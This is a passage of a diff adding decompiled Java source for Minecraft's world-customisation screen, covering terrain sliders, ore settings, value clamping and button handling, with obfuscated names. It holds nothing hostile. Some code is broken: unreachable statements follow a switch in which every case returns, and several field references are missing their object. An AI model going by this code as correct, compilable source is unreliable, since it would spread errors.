GuiPageButtonList.GuiSlideEntry(175, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177882_T), new GuiPageButtonList.GuiSlideEntry(176, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177881_U), new GuiPageButtonList.GuiLabelEntry(419, I18n.format("tile.stone.diorite.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(177, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177884_V), new GuiPageButtonList.GuiSlideEntry(178, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177883_W), new GuiPageButtonList.GuiSlideEntry(179, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177891_X), new GuiPageButtonList.GuiSlideEntry(180, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177890_Y), new GuiPageButtonList.GuiLabelEntry(420, I18n.format("tile.stone.andesite.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(181, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177892_Z), new GuiPageButtonList.GuiSlideEntry(182, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177936_aa), new GuiPageButtonList.GuiSlideEntry(183, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177937_ab), new GuiPageButtonList.GuiSlideEntry(184, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177934_ac), new GuiPageButtonList.GuiLabelEntry(421, I18n.format("tile.oreCoal.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(185, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177935_ad), new GuiPageButtonList.GuiSlideEntry(186, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177941_ae), new GuiPageButtonList.GuiSlideEntry(187, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177943_af), new GuiPageButtonList.GuiSlideEntry(189, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177938_ag), new GuiPageButtonList.GuiLabelEntry(422, I18n.format("tile.oreIron.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(190, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177939_ah), new GuiPageButtonList.GuiSlideEntry(191, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177922_ai), new GuiPageButtonList.GuiSlideEntry(192, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177924_aj), new GuiPageButtonList.GuiSlideEntry(193, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177918_ak), new GuiPageButtonList.GuiLabelEntry(423, I18n.format("tile.oreGold.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(194, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177920_al), new GuiPageButtonList.GuiSlideEntry(195, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177930_am), new GuiPageButtonList.GuiSlideEntry(196, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177932_an), new GuiPageButtonList.GuiSlideEntry(197, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177926_ao), new GuiPageButtonList.GuiLabelEntry(424, I18n.format("tile.oreRedstone.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(198, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177928_ap), new GuiPageButtonList.GuiSlideEntry(199, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177908_aq), new GuiPageButtonList.GuiSlideEntry(200, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177906_ar), new GuiPageButtonList.GuiSlideEntry(201, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177904_as), new GuiPageButtonList.GuiLabelEntry(425, I18n.format("tile.oreDiamond.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(202, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177902_at), new GuiPageButtonList.GuiSlideEntry(203, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177916_au), new GuiPageButtonList.GuiSlideEntry(204, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177914_av), new GuiPageButtonList.GuiSlideEntry(205, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177912_aw), new GuiPageButtonList.GuiLabelEntry(426, I18n.format("tile.oreLapis.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(206, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177910_ax), new GuiPageButtonList.GuiSlideEntry(207, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177897_ay), new GuiPageButtonList.GuiSlideEntry(208, I18n.format("createWorld.customize.custom.center", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177895_az), new GuiPageButtonList.GuiSlideEntry(209, I18n.format("createWorld.customize.custom.spread", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177889_aA) };
+    GuiPageButtonList.GuiListEntry[] var3 = { new GuiPageButtonList.GuiSlideEntry(100, I18n.format("createWorld.customize.custom.mainNoiseScaleX", new Object[0]), false, this, 1.0F, 5000.0F, field_175336_F.field_177917_i), new GuiPageButtonList.GuiSlideEntry(101, I18n.format("createWorld.customize.custom.mainNoiseScaleY", new Object[0]), false, this, 1.0F, 5000.0F, field_175336_F.field_177911_j), new GuiPageButtonList.GuiSlideEntry(102, I18n.format("createWorld.customize.custom.mainNoiseScaleZ", new Object[0]), false, this, 1.0F, 5000.0F, field_175336_F.field_177913_k), new GuiPageButtonList.GuiSlideEntry(103, I18n.format("createWorld.customize.custom.depthNoiseScaleX", new Object[0]), false, this, 1.0F, 2000.0F, field_175336_F.field_177893_f), new GuiPageButtonList.GuiSlideEntry(104, I18n.format("createWorld.customize.custom.depthNoiseScaleZ", new Object[0]), false, this, 1.0F, 2000.0F, field_175336_F.field_177894_g), new GuiPageButtonList.GuiSlideEntry(105, I18n.format("createWorld.customize.custom.depthNoiseScaleExponent", new Object[0]), false, this, 0.01F, 20.0F, field_175336_F.field_177915_h), new GuiPageButtonList.GuiSlideEntry(106, I18n.format("createWorld.customize.custom.baseSize", new Object[0]), false, this, 1.0F, 25.0F, field_175336_F.field_177907_l), new GuiPageButtonList.GuiSlideEntry(107, I18n.format("createWorld.customize.custom.coordinateScale", new Object[0]), false, this, 1.0F, 6000.0F, field_175336_F.field_177899_b), new GuiPageButtonList.GuiSlideEntry(108, I18n.format("createWorld.customize.custom.heightScale", new Object[0]), false, this, 1.0F, 6000.0F, field_175336_F.field_177900_c), new GuiPageButtonList.GuiSlideEntry(109, I18n.format("createWorld.customize.custom.stretchY", new Object[0]), false, this, 0.01F, 50.0F, field_175336_F.field_177909_m), new GuiPageButtonList.GuiSlideEntry(110, I18n.format("createWorld.customize.custom.upperLimitScale", new Object[0]), false, this, 1.0F, 5000.0F, field_175336_F.field_177896_d), new GuiPageButtonList.GuiSlideEntry(111, I18n.format("createWorld.customize.custom.lowerLimitScale", new Object[0]), false, this, 1.0F, 5000.0F, field_175336_F.field_177898_e), new GuiPageButtonList.GuiSlideEntry(112, I18n.format("createWorld.customize.custom.biomeDepthWeight", new Object[0]), false, this, 1.0F, 20.0F, field_175336_F.field_177903_n), new GuiPageButtonList.GuiSlideEntry(113, I18n.format("createWorld.customize.custom.biomeDepthOffset", new Object[0]), false, this, 0.0F, 20.0F, field_175336_F.field_177905_o), new GuiPageButtonList.GuiSlideEntry(114, I18n.format("createWorld.customize.custom.biomeScaleWeight", new Object[0]), false, this, 1.0F, 20.0F, field_175336_F.field_177933_p), new GuiPageButtonList.GuiSlideEntry(115, I18n.format("createWorld.customize.custom.biomeScaleOffset", new Object[0]), false, this, 0.0F, 20.0F, field_175336_F.field_177931_q) };
+    GuiPageButtonList.GuiListEntry[] var4 = { new GuiPageButtonList.GuiLabelEntry(400, I18n.format("createWorld.customize.custom.mainNoiseScaleX", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(132, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177917_i) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(401, I18n.format("createWorld.customize.custom.mainNoiseScaleY", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(133, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177911_j) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(402, I18n.format("createWorld.customize.custom.mainNoiseScaleZ", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(134, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177913_k) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(403, I18n.format("createWorld.customize.custom.depthNoiseScaleX", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(135, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177893_f) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(404, I18n.format("createWorld.customize.custom.depthNoiseScaleZ", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(136, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177894_g) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(405, I18n.format("createWorld.customize.custom.depthNoiseScaleExponent", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(137, String.format("%2.3f", new Object[] { Float.valueOf(field_175336_F.field_177915_h) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(406, I18n.format("createWorld.customize.custom.baseSize", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(138, String.format("%2.3f", new Object[] { Float.valueOf(field_175336_F.field_177907_l) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(407, I18n.format("createWorld.customize.custom.coordinateScale", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(139, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177899_b) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(408, I18n.format("createWorld.customize.custom.heightScale", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(140, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177900_c) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(409, I18n.format("createWorld.customize.custom.stretchY", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(141, String.format("%2.3f", new Object[] { Float.valueOf(field_175336_F.field_177909_m) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(410, I18n.format("createWorld.customize.custom.upperLimitScale", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(142, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177896_d) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(411, I18n.format("createWorld.customize.custom.lowerLimitScale", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(143, String.format("%5.3f", new Object[] { Float.valueOf(field_175336_F.field_177898_e) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(412, I18n.format("createWorld.customize.custom.biomeDepthWeight", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(144, String.format("%2.3f", new Object[] { Float.valueOf(field_175336_F.field_177903_n) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(413, I18n.format("createWorld.customize.custom.biomeDepthOffset", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(145, String.format("%2.3f", new Object[] { Float.valueOf(field_175336_F.field_177905_o) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(414, I18n.format("createWorld.customize.custom.biomeScaleWeight", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(146, String.format("%2.3f", new Object[] { Float.valueOf(field_175336_F.field_177933_p) }), false, field_175332_D), new GuiPageButtonList.GuiLabelEntry(415, I18n.format("createWorld.customize.custom.biomeScaleOffset", new Object[0]) + ":", false), new GuiPageButtonList.EditBoxEntry(147, String.format("%2.3f", new Object[] { Float.valueOf(field_175336_F.field_177931_q) }), false, field_175332_D) };
+    field_175349_r = new GuiPageButtonList(mc, width, height, 32, height - 32, 25, this, new GuiPageButtonList.GuiListEntry[][] { var1, var2, var3, var4 });
+    
+    for (int var5 = 0; var5 < 4; var5++)
+    {
+      field_175342_h[var5] = I18n.format("createWorld.customize.custom.page" + var5, new Object[0]);
+    }
+    
+    func_175328_i();
+  }
+  
+  public String func_175323_a()
+  {
+    return field_175336_F.toString().replace("\n", "");
+  }
+  
+  public void func_175324_a(String p_175324_1_)
+  {
+    if ((p_175324_1_ != null) && (p_175324_1_.length() != 0))
+    {
+      field_175336_F = ChunkProviderSettings.Factory.func_177865_a(p_175324_1_);
+    }
+    else
+    {
+      field_175336_F = new ChunkProviderSettings.Factory();
+    }
+  }
+  
+  public void func_175319_a(int p_175319_1_, String p_175319_2_)
+  {
+    float var3 = 0.0F;
+    
+    try
+    {
+      var3 = Float.parseFloat(p_175319_2_);
+    }
+    catch (NumberFormatException localNumberFormatException) {}
+    
+
+
+
+    float var4 = 0.0F;
+    
+    switch (p_175319_1_)
+    {
+    case 132: 
+      var4 = field_175336_F.field_177917_i = MathHelper.clamp_float(var3, 1.0F, 5000.0F);
+      break;
+    
+    case 133: 
+      var4 = field_175336_F.field_177911_j = MathHelper.clamp_float(var3, 1.0F, 5000.0F);
+      break;
+    
+    case 134: 
+      var4 = field_175336_F.field_177913_k = MathHelper.clamp_float(var3, 1.0F, 5000.0F);
+      break;
+    
+    case 135: 
+      var4 = field_175336_F.field_177893_f = MathHelper.clamp_float(var3, 1.0F, 2000.0F);
+      break;
+    
+    case 136: 
+      var4 = field_175336_F.field_177894_g = MathHelper.clamp_float(var3, 1.0F, 2000.0F);
+      break;
+    
+    case 137: 
+      var4 = field_175336_F.field_177915_h = MathHelper.clamp_float(var3, 0.01F, 20.0F);
+      break;
+    
+    case 138: 
+      var4 = field_175336_F.field_177907_l = MathHelper.clamp_float(var3, 1.0F, 25.0F);
+      break;
+    
+    case 139: 
+      var4 = field_175336_F.field_177899_b = MathHelper.clamp_float(var3, 1.0F, 6000.0F);
+      break;
+    
+    case 140: 
+      var4 = field_175336_F.field_177900_c = MathHelper.clamp_float(var3, 1.0F, 6000.0F);
+      break;
+    
+    case 141: 
+      var4 = field_175336_F.field_177909_m = MathHelper.clamp_float(var3, 0.01F, 50.0F);
+      break;
+    
+    case 142: 
+      var4 = field_175336_F.field_177896_d = MathHelper.clamp_float(var3, 1.0F, 5000.0F);
+      break;
+    
+    case 143: 
+      var4 = field_175336_F.field_177898_e = MathHelper.clamp_float(var3, 1.0F, 5000.0F);
+      break;
+    
+    case 144: 
+      var4 = field_175336_F.field_177903_n = MathHelper.clamp_float(var3, 1.0F, 20.0F);
+      break;
+    
+    case 145: 
+      var4 = field_175336_F.field_177905_o = MathHelper.clamp_float(var3, 0.0F, 20.0F);
+      break;
+    
+    case 146: 
+      var4 = field_175336_F.field_177933_p = MathHelper.clamp_float(var3, 1.0F, 20.0F);
+      break;
+    
+    case 147: 
+      var4 = field_175336_F.field_177931_q = MathHelper.clamp_float(var3, 0.0F, 20.0F);
+    }
+    
+    if ((var4 != var3) && (var3 != 0.0F))
+    {
+      ((GuiTextField)field_175349_r.func_178061_c(p_175319_1_)).setText(func_175330_b(p_175319_1_, var4));
+    }
+    
+    ((GuiSlider)field_175349_r.func_178061_c(p_175319_1_ - 132 + 100)).func_175218_a(var4, false);
+    
+    if (!field_175336_F.equals(field_175334_E))
+    {
+      field_175338_A = true;
+    }
+  }
+  
+  public String func_175318_a(int p_175318_1_, String p_175318_2_, float p_175318_3_)
+  {
+    return p_175318_2_ + ": " + func_175330_b(p_175318_1_, p_175318_3_);
+  }
+  
+  private String func_175330_b(int p_175330_1_, float p_175330_2_)
+  {
+    switch (p_175330_1_)
+    {
+    case 100: 
+    case 101: 
+    case 102: 
+    case 103: 
+    case 104: 
+    case 107: 
+    case 108: 
+    case 110: 
+    case 111: 
+    case 132: 
+    case 133: 
+    case 134: 
+    case 135: 
+    case 136: 
+    case 139: 
+    case 140: 
+    case 142: 
+    case 143: 
+      return String.format("%5.3f", new Object[] { Float.valueOf(p_175330_2_) });
+    
+    case 105: 
+    case 106: 
+    case 109: 
+    case 112: 
+    case 113: 
+    case 114: 
+    case 115: 
+    case 137: 
+    case 138: 
+    case 141: 
+    case 144: 
+    case 145: 
+    case 146: 
+    case 147: 
+      return String.format("%2.3f", new Object[] { Float.valueOf(p_175330_2_) });
+    
+    case 116: 
+    case 117: 
+    case 118: 
+    case 119: 
+    case 120: 
+    case 121: 
+    case 122: 
+    case 123: 
+    case 124: 
+    case 125: 
+    case 126: 
+    case 127: 
+    case 128: 
+    case 129: 
+    case 130: 
+    case 131: 
+    case 148: 
+    case 149: 
+    case 150: 
+    case 151: 
+    case 152: 
+    case 153: 
+    case 154: 
+    case 155: 
+    case 156: 
+    case 157: 
+    case 158: 
+    case 159: 
+    case 160: 
+    case 161: 
+    default: 
+      return String.format("%d", new Object[] { Integer.valueOf((int)p_175330_2_) });
+    }
+    
+    if (p_175330_2_ < 0.0F)
+    {
+      return I18n.format("gui.all", new Object[0]);
+    }
+    
+
+
+
+    if ((int)p_175330_2_ >= hellbiomeID)
+    {
+      BiomeGenBase var3 = BiomeGenBase.getBiomeGenArray()[((int)p_175330_2_ + 2)];
+      return var3 != null ? biomeName : "?";
+    }
+    
+
+    BiomeGenBase var3 = BiomeGenBase.getBiomeGenArray()[((int)p_175330_2_)];
+    return var3 != null ? biomeName : "?";
+  }
+  
+
+
+
+  public void func_175321_a(int p_175321_1_, boolean p_175321_2_)
+  {
+    switch (p_175321_1_)
+    {
+    case 148: 
+      field_175336_F.field_177927_s = p_175321_2_;
+      break;
+    
+    case 149: 
+      field_175336_F.field_177925_t = p_175321_2_;
+      break;
+    
+    case 150: 
+      field_175336_F.field_177921_v = p_175321_2_;
+      break;
+    
+    case 151: 
+      field_175336_F.field_177919_w = p_175321_2_;
+      break;
+    
+    case 152: 
+      field_175336_F.field_177944_x = p_175321_2_;
+      break;
+    
+    case 153: 
+      field_175336_F.field_177942_y = p_175321_2_;
+      break;
+    
+    case 154: 
+      field_175336_F.field_177870_A = p_175321_2_;
+      break;
+    
+    case 155: 
+      field_175336_F.field_177871_B = p_175321_2_;
+      break;
+    
+    case 156: 
+      field_175336_F.field_177866_D = p_175321_2_;
+      break;
+    
+    case 161: 
+      field_175336_F.field_177868_F = p_175321_2_;
+      break;
+    
+    case 210: 
+      field_175336_F.field_177940_z = p_175321_2_;
+    }
+    
+    if (!field_175336_F.equals(field_175334_E))
+    {
+      field_175338_A = true;
+    }
+  }
+  
+  public void func_175320_a(int p_175320_1_, float p_175320_2_)
+  {
+    switch (p_175320_1_)
+    {
+    case 100: 
+      field_175336_F.field_177917_i = p_175320_2_;
+      break;
+    
+    case 101: 
+      field_175336_F.field_177911_j = p_175320_2_;
+      break;
+    
+    case 102: 
+      field_175336_F.field_177913_k = p_175320_2_;
+      break;
+    
+    case 103: 
+      field_175336_F.field_177893_f = p_175320_2_;
+      break;
+    
+    case 104: 
+      field_175336_F.field_177894_g = p_175320_2_;
+      break;
+    
+    case 105: 
+      field_175336_F.field_177915_h = p_175320_2_;
+      break;
+    
+    case 106: 
+      field_175336_F.field_177907_l = p_175320_2_;
+      break;
+    
+    case 107: 
+      field_175336_F.field_177899_b = p_175320_2_;
+      break;
+    
+    case 108: 
+      field_175336_F.field_177900_c = p_175320_2_;
+      break;
+    
+    case 109: 
+      field_175336_F.field_177909_m = p_175320_2_;
+      break;
+    
+    case 110: 
+      field_175336_F.field_177896_d = p_175320_2_;
+      break;
+    
+    case 111: 
+      field_175336_F.field_177898_e = p_175320_2_;
+      break;
+    
+    case 112: 
+      field_175336_F.field_177903_n = p_175320_2_;
+      break;
+    
+    case 113: 
+      field_175336_F.field_177905_o = p_175320_2_;
+      break;
+    
+    case 114: 
+      field_175336_F.field_177933_p = p_175320_2_;
+      break;
+    
+    case 115: 
+      field_175336_F.field_177931_q = p_175320_2_;
+    
+    case 116: 
+    case 117: 
+    case 118: 
+    case 119: 
+    case 120: 
+    case 121: 
+    case 122: 
+    case 123: 
+    case 124: 
+    case 125: 
+    case 126: 
+    case 127: 
+    case 128: 
+    case 129: 
+    case 130: 
+    case 131: 
+    case 132: 
+    case 133: 
+    case 134: 
+    case 135: 
+    case 136: 
+    case 137: 
+    case 138: 
+    case 139: 
+    case 140: 
+    case 141: 
+    case 142: 
+    case 143: 
+    case 144: 
+    case 145: 
+    case 146: 
+    case 147: 
+    case 148: 
+    case 149: 
+    case 150: 
+    case 151: 
+    case 152: 
+    case 153: 
+    case 154: 
+    case 155: 
+    case 156: 
+    case 161: 
+    case 188: 
+    default: 
+      break;
+    
+    case 157: 
+      field_175336_F.field_177923_u = ((int)p_175320_2_);
+      break;
+    
+    case 158: 
+      field_175336_F.field_177872_C = ((int)p_175320_2_);
+      break;
+    
+    case 159: 
+      field_175336_F.field_177867_E = ((int)p_175320_2_);
+      break;
+    
+    case 160: 
+      field_175336_F.field_177929_r = ((int)p_175320_2_);
+      break;
+    
+    case 162: 
+      field_175336_F.field_177869_G = ((int)p_175320_2_);
+      break;
+    
+    case 163: 
+      field_175336_F.field_177877_H = ((int)p_175320_2_);
+      break;
+    
+    case 164: 
+      field_175336_F.field_177878_I = ((int)p_175320_2_);
+      break;
+    
+    case 165: 
+      field_175336_F.field_177879_J = ((int)p_175320_2_);
+      break;
+    
+    case 166: 
+      field_175336_F.field_177880_K = ((int)p_175320_2_);
+      break;
+    
+    case 167: 
+      field_175336_F.field_177873_L = ((int)p_175320_2_);
+      break;
+    
+    case 168: 
+      field_175336_F.field_177874_M = ((int)p_175320_2_);
+      break;
+    
+    case 169: 
+      field_175336_F.field_177875_N = ((int)p_175320_2_);
+      break;
+    
+    case 170: 
+      field_175336_F.field_177876_O = ((int)p_175320_2_);
+      break;
+    
+    case 171: 
+      field_175336_F.field_177886_P = ((int)p_175320_2_);
+      break;
+    
+    case 172: 
+      field_175336_F.field_177885_Q = ((int)p_175320_2_);
+      break;
+    
+    case 173: 
+      field_175336_F.field_177888_R = ((int)p_175320_2_);
+      break;
+    
+    case 174: 
+      field_175336_F.field_177887_S = ((int)p_175320_2_);
+      break;
+    
+    case 175: 
+      field_175336_F.field_177882_T = ((int)p_175320_2_);
+      break;
+    
+    case 176: 
+      field_175336_F.field_177881_U = ((int)p_175320_2_);
+      break;
+    
+    case 177: 
+      field_175336_F.field_177884_V = ((int)p_175320_2_);
+      break;
+    
+    case 178: 
+      field_175336_F.field_177883_W = ((int)p_175320_2_);
+      break;
+    
+    case 179: 
+      field_175336_F.field_177891_X = ((int)p_175320_2_);
+      break;
+    
+    case 180: 
+      field_175336_F.field_177890_Y = ((int)p_175320_2_);
+      break;
+    
+    case 181: 
+      field_175336_F.field_177892_Z = ((int)p_175320_2_);
+      break;
+    
+    case 182: 
+      field_175336_F.field_177936_aa = ((int)p_175320_2_);
+      break;
+    
+    case 183: 
+      field_175336_F.field_177937_ab = ((int)p_175320_2_);
+      break;
+    
+    case 184: 
+      field_175336_F.field_177934_ac = ((int)p_175320_2_);
+      break;
+    
+    case 185: 
+      field_175336_F.field_177935_ad = ((int)p_175320_2_);
+      break;
+    
+    case 186: 
+      field_175336_F.field_177941_ae = ((int)p_175320_2_);
+      break;
+    
+    case 187: 
+      field_175336_F.field_177943_af = ((int)p_175320_2_);
+      break;
+    
+    case 189: 
+      field_175336_F.field_177938_ag = ((int)p_175320_2_);
+      break;
+    
+    case 190: 
+      field_175336_F.field_177939_ah = ((int)p_175320_2_);
+      break;
+    
+    case 191: 
+      field_175336_F.field_177922_ai = ((int)p_175320_2_);
+      break;
+    
+    case 192: 
+      field_175336_F.field_177924_aj = ((int)p_175320_2_);
+      break;
+    
+    case 193: 
+      field_175336_F.field_177918_ak = ((int)p_175320_2_);
+      break;
+    
+    case 194: 
+      field_175336_F.field_177920_al = ((int)p_175320_2_);
+      break;
+    
+    case 195: 
+      field_175336_F.field_177930_am = ((int)p_175320_2_);
+      break;
+    
+    case 196: 
+      field_175336_F.field_177932_an = ((int)p_175320_2_);
+      break;
+    
+    case 197: 
+      field_175336_F.field_177926_ao = ((int)p_175320_2_);
+      break;
+    
+    case 198: 
+      field_175336_F.field_177928_ap = ((int)p_175320_2_);
+      break;
+    
+    case 199: 
+      field_175336_F.field_177908_aq = ((int)p_175320_2_);
+      break;
+    
+    case 200: 
+      field_175336_F.field_177906_ar = ((int)p_175320_2_);
+      break;
+    
+    case 201: 
+      field_175336_F.field_177904_as = ((int)p_175320_2_);
+      break;
+    
+    case 202: 
+      field_175336_F.field_177902_at = ((int)p_175320_2_);
+      break;
+    
+    case 203: 
+      field_175336_F.field_177916_au = ((int)p_175320_2_);
+      break;
+    
+    case 204: 
+      field_175336_F.field_177914_av = ((int)p_175320_2_);
+      break;
+    
+    case 205: 
+      field_175336_F.field_177912_aw = ((int)p_175320_2_);
+      break;
+    
+    case 206: 
+      field_175336_F.field_177910_ax = ((int)p_175320_2_);
+      break;
+    
+    case 207: 
+      field_175336_F.field_177897_ay = ((int)p_175320_2_);
+      break;
+    
+    case 208: 
+      field_175336_F.field_177895_az = ((int)p_175320_2_);
+      break;
+    
+    case 209: 
+      field_175336_F.field_177889_aA = ((int)p_175320_2_);
+    }
+    
+    if ((p_175320_1_ >= 100) && (p_175320_1_ < 116))
+    {
+      Gui var3 = field_175349_r.func_178061_c(p_175320_1_ - 100 + 132);
+      
+      if (var3 != null)
+      {
+        ((GuiTextField)var3).setText(func_175330_b(p_175320_1_, p_175320_2_));
+      }
+    }
+    
+    if (!field_175336_F.equals(field_175334_E))
+    {
+      field_175338_A = true;
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      switch (id)
+      {
+      case 300: 
+        field_175343_i.field_146334_a = field_175336_F.toString();
+        mc.displayGuiScreen(field_175343_i);
+        break;
+      
+      case 301: 
+        for (int var2 = 0; var2 < field_175349_r.getSize(); var2++)
+        {
+          GuiPageButtonList.GuiEntry var3 = field_175349_r.func_178070_d(var2);
+          Gui var4 = var3.func_178022_a();
+          
+          if ((var4 instanceof GuiButton))
+          {
+            GuiButton var5 = (GuiButton)var4;
+            
+            if ((var5 instanceof GuiSlider))
+            {
+              float var6 = ((GuiSlider)var5).func_175217_d() * (0.75F + field_175337_G.nextFloat() * 0.5F) + (field_175337_G.nextFloat() * 0.1F - 0.05F);
+              ((GuiSlider)var5).func_175219_a(MathHelper.clamp_float(var6, 0.0F, 1.0F));
+            }
+            else if ((var5 instanceof GuiListButton))
+            {
+              ((GuiListButton)var5).func_175212_b(field_175337_G.nextBoolean());
+            }
+          }
+          
+          Gui var8 = var3.func_178021_b();
+          
+          if ((var8 instanceof GuiButton))
+          {
+            GuiButton var9 = (GuiButton)var8;
+            
+            if ((var9 instanceof GuiSlider))
+            {
+              float var7 = ((GuiSlider)var9).func_175217_d() * (0.75F + field_175337_G.nextFloat() * 0.5F) + (field_175337_G.nextFloat() * 0.1F - 0.05F);
+              ((GuiSlider)var9).func_175219_a(MathHelper.clamp_float(var7, 0.0F, 1.0F));
+            }
+            else if ((var9 instanceof GuiListButton))
+            {
+              ((GuiListButton)var9).func_175212_b(field_175337_G.nextBoolean());
+            }
+          }
+        }
+        
+        return;
+      
+      case 302: 
+        field_175349_r.func_178071_h();
+        func_175328_i();
+        break;
+      
+      case 303: 
+        field_175349_r.func_178064_i();
+        func_175328_i();
+        break;
+      
+      case 304: 
+        if (field_175338_A)
+        {
+          func_175322_b(304);
+        }
+        
+        break;
+      
+      case 305: 
+        mc.displayGuiScreen(new GuiScreenCustomizePresets(this));
+        break;
+      
+      case 306: 
+        func_175331_h();
+        break;
+      
+      case 307: 
+        field_175339_B = 0;
+        func_175331_h();
+      }
+    }
+  }
+  
+  private void func_175326_g()
+  {
+    field_175336_F.func_177863_a();
+    func_175325_f();
+  }
+  
+  private void func_175322_b(int p_175322_1_)
+  {
+    field_175339_B = p_175322_1_;
+    func_175329_a(true);
+  }
+  
+  private void func_175331_h() throws IOException
+  {
+    switch (field_175339_B)
+    {
+    case 300: 
+      actionPerformed((GuiListButton)field_175349_r.func_178061_c(300));
+      break;
+    
+    case 304: 
+      func_175326_g();
+    }
+    
+    field_175339_B = 0;
+    field_175340_C = true;
+    func_175329_a(false);
